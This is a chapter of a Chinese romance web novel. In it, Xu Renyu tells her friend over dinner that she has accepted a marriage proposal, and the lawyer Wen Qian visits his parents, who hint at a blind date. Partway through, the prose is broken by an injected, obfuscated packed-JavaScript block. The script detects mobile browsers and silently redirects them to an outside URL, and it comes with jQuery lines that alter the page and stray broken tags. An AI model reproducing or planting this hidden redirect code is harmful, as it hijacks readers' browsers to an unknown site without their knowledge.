熬过了加班最严重的三天,季乐敏在周五迎来了不加班的下午,一边欢庆带教不在的日子真是太爽了,一边预定了许人语下班后的时间。
她们去吃上次说好的万象城韩餐。
季乐敏先到,等了十多分钟,在玻璃外看见了许人语。
临近九月底,秋老虎已经隐退小半个月,晚上有风。
许人语还是穿着标志性的短裤,蓝色华夫格休闲短裤,搭配吊带上衣,外面套了一件花灰色的连帽卫衣外套。
她刚落座,季乐敏批评她:“你再来得晚一点,我都要吃完了。”
“不是还没上菜吗。”
空调风吹得太凉,许人语抬头看了一眼,她刚好坐在空调口。
季乐敏注意到她的动作,要换餐桌是来不及了,她把外套脱下来给许人语盖腿:“冷死你。”
她们俩一个怕冷一个怕热,季乐敏九月初就开始穿长袖,许人语每年五月到十月都在穿短裤,曾经被季乐敏警告,当心以后得老寒腿。
许人语接过那件外套,右手突然被季乐敏抓住:“许人语!”
三克拉的钻戒戴在她右手中指上,餐厅的灯光一照,钻石闪耀到眩目。
许人语很不喜欢戴首饰,许红青给她买过很多金饰,从买来就一直安放在盒子里,这枚戒指对她来说的感觉也一样,有点硌手,她不习惯。
季乐敏的表现比她看见戒指那一刻还要惊喜许多:“顾医生跟你求婚了?你答应了?”
“嗯。”
“什么时候的事?这么大的事你居然都不跟我说,许人语你太过分了!”
季乐敏的语速很快,许人语一听她语气里,愤懑分明大于喜悦,就忍不住想笑:“就今天,我想着反正晚上要跟你吃饭,干脆当面讲,不然肯定要被你信息轰炸。”
许人语对她的猜测没错,如果不是顾及在公共场合,季乐敏就差尖叫出来了。
讶然之后,季乐敏松开她的手,托起自己的腮,眉头也皱起来:“你真的想好了要结婚?”
这是她们高中住在同一个宿舍时,偶尔会聊到的问题。异国、夜晚,两个十几岁的女孩,冒失、果敢、细腻、光怪陆离,她们什么都聊,也许是年龄上比她大了两三岁,季乐敏当时就觉得,许人语要成熟很多,知道的也很多,像一个搜索引擎,虽然大多数都了解不深,但十几岁时的皮毛,足以让旁人展露出崇拜的眼光。
季乐敏到现在还记得,当时许人语说,她可能一辈子都不会跟一个人保持长久而稳定的关系,她并不具备这种能力。
那一年许人语十八岁,三天前刚和在一起八个月的初恋分手,因为那位长得酷似安德鲁加菲尔德年轻时候的学哥要前往美东发展。
季乐敏还以为许人语是因为分手伤心,但她看到隔壁那张床上平躺着的许人语,她的平静里并没有伤感。
这么多年,季乐敏看过许人语身边的恋人换过几任,都不长久,只有顾亭是意外。
这个意外,竟然能够让许人语进入一个她从来没有设想过的阶段。
现在的季乐敏带着十几岁时犹疑,问她是不是真的想结婚。
许人语眉蹙一记,很快舒展:“我就是觉得,不是不能结。”
她从来都不畏惧结婚,结婚对她而言,只是一个新的阶段,并不是她感情的进阶。如果顾亭需要这个新的阶段来确保安全感,她可以给。
许人语一直都知道自己想要什么,没人能强迫她,季乐敏对此深信不疑。
打消这个顾虑之后,季乐敏八卦起求婚的过程。
“呃......挺简单的,就是他说有点事,过来接我,结果这件事就是我们两个一起去明湖散步,散到一半他掏出戒指求婚。”
许人语不喜欢隆重的仪式,这个安排对她来说刚刚好。
没有围观,没有尖叫,没有此起彼伏的“嫁给他”,许人语觉得挺好的,只是让她有点意外而已。
季乐敏听完,左右眉毛一高一低:“就今天?”
“就今天。”
“那他求完,你们连个饭都没吃?”
许人语被辣到,才想起应该点些喝的,拿起手机点奶茶,最近的一家是上次闻谦点过的,有一款薄荷铁观音很好喝。
她慢悠悠解释:“他被医院叫走了。而且反正我要来跟你吃饭。”
“那他就非得挑在今天求婚啊?”
“这周末他爸妈回国。而且今天对他来说挺重要的,他升副主任医师了。”
这意味着顾亭以后出门诊的次数和安排手术的次数都减少,比起当主治医生的时候要闲下来不少。
季乐敏戳了好几下碗里的年糕:“噢。”
许人语的手机响了,有消息发过来,周远遥最近很忙,今天才回她的消息:谁啊?
许人语回她:你等我几天,确认了再告诉你。
她问季乐敏:“你最近还被你带教刁难吗?”
季乐敏想到闻谦出差,喜形于色:“没有,带教出差了,哈哈哈哈,他终于出差了,我现在就想知道朝哪边拜能够让带教多出差?”
许人语大笑:“你那么讨厌他?”
“没有针对他的意思,我天生恨老板。”
-
闻谦在回杭的高铁上打了好几个喷嚏,林城连续下了几天雨,气温一直降,他不幸感冒。
秦淑娅丈夫对取证早有防备,他带着搜查令去查男方和公司的隐秘账户流水,其中有一笔两年前的四百万借款,但对方很快调出相应材料证实资金用途,他要回杭到工商部门调取当年股东会的借贷协议。
这笔贷款的时间比较长,取证阶段需要很多资料,他提前申请了财产保全,确保男方不能在这段时间内转移资产。
黎成知道他出差回来,约他周末一起打球:我让遥遥还是叫上许医生一起。
闻谦:不想打。
黎成:为啥?[疑问]
他发来微信原始的那个表情,闻谦一直觉得那个表情傻傻的,周远遥怎么能忍这种傻人,果然谈恋爱的人都具有一定的忍耐性。
闻谦:配合不好。
黎成:许医生打得挺好的啊。
闻谦这会正坐在回家的车上,看到屏幕里频繁冒出“许医生”三个字,出差几天的疲倦这时候涌了上来,他懒得说话了。
黎成没意识到:能找到许医生这么会打球的球友多难得啊,你不懂得珍惜。
他说的是实话,默契又有技术的球友千金难买。
闻谦受不了手机一直响,又回他:没说她不好,单纯合不来。
黎成:你们俩有仇?我感觉好像是有,你们两个相处的磁场很不对付。
闻谦给他开了免打扰,开始回工作信息。
知道许人语有男朋友之后,他的心态以及生活都没有很明显的变化。
事实证明他之前遇到许人语会产生的奇怪感觉,并不是喜欢,闻谦将其归咎为,他很久没有交新朋友而已。
至于不想跟许人语见面的原因就更简单了。
就像他说的那样,他们就是合不来。
闻谦坦然接受,世界上就是有那么多合不来的人。
就像罗宾邓巴对深度社交关系的剖析,一个人的一生,大概率只有五个最亲密的挚友和家人,许人语早已在这五人之外。
打车到目的地,他这次回来先去了父母家。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451707|185194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
闻母闻父喜欢吃林城特产的茶糕,他出差顺道,去一家老字号买了一些。
母亲闻卓给他开的门:“饭老早好了,就等你回来,洗手吃饭。”
晚餐是家里请的钟点工做的,法院和律所工作都忙,夫妻俩没一个好厨艺,闻谦从小就习惯吃食堂。
一家人难得聚在一起吃饭,闻父自然地问起闻谦在律所的工作。
当初闻谦要选诉讼方向,遭到闻父第一次反对,他从父亲合伙的泰金离职,遭到闻父的第二次反对。
在此之后,闻父再也不干涉他的工作选择。
闻谦答:“还可以。现在离婚的人多,不愁没钱。”
闻卓啧了他一声:“又说这种话。”
他不想谈工作的事,顺口问了一嘴闻卓之前说写书的打算,闻卓说已经开始准备了。
闻卓在他刚上小学时就想写一本法院工作相关的书,现在临近退休终于有时间了。
闻谦在这件事上出力许多,联系了他的律师同行,提供了不少律师角度的资料。
还有他本人的视角,他从小在法院里耳濡目染,对那种庄严肃穆的环境很熟悉。
很小的时候闻卓就跟他说过,法院是一个很有温度的地方,有规则之内的柔和,就像他们家一直以来的家庭氛围。
闻谦尚不知道这种温度该如何理解,他最明显的感受,只有第一次去法院打官司时不紧张而已。
闻母闻父一直以来工作都很忙。闻谦小时候,一家人住在母亲的单位分房,就在省法院对面,对口的是杭城最好的小学和初中,他放学了就去闻卓办公室里坐着,在单位食堂吃晚饭。后来他高中住宿、出国留学,在家里的时间更少,父母就把法院对面的老房子租出去,搬到现在的新房。
这里靠近运河,离泰金和法院的距离相当,离龙江大厦远了点,闻谦工作忙,很少回来。
父母各自有工作,也就不总是催他回家。
闻卓给他盛了一碗鸽子汤,说:“下个月十号,大妈妈疗休养回来,我们几个老同事说好了带家属聚一聚,你记得提前请假。”
“哪个大妈妈?”
“还有哪个大妈妈?小时候经常接你放学的呀,她不是老早升到北京去了,今年退休。”
闻谦想起来了,他小的时候在法院对口的幼儿园上学,当时几家小朋友一起,谁家家长有空就把小朋友一起接回来。
“好的。”
闻卓跟丈夫对视一眼,闻父先喝了一口鸽子汤缓一缓,才说:“刚好她女儿前段时间也回国了,你们一起上幼儿园的还记得吧?”
闻谦低头吃饭:“不记得。”
“人家不是律师,你不是喜欢什么乐队吗,人家是搞乐队的。”
闻谦抬头,脸上露出诧异的表情:“相亲?”
这是他没有想到的,他长这么大,父母从来没催过这个。
闻谦怀疑是最近闻卓同事的孩子结婚,他们夫妻两个也开始焦虑了。
“只是认识新朋友,我跟你妈妈是不高兴插手你们年轻人的感情的。”
闻卓默契地接话:“我们最近看一个讲心理学的视频号,说长时间交友单一,会有心理问题的。”
信息来源可信度太低,闻谦觉得好笑:“你们也研究心理学?”
闻卓这时候发挥了作为法官的敏锐:“还有谁也研究心理学啊?你的哪个朋友?”
她刻意咬中“也”字,不记得闻谦狭小的朋友圈里有研究心理学的。
“没有。自己研究的。”闻谦冷下脸,顺带着放下筷子,“不相亲,也不想认识新朋友,一个人挺好的。”
他真的一直这么觉得。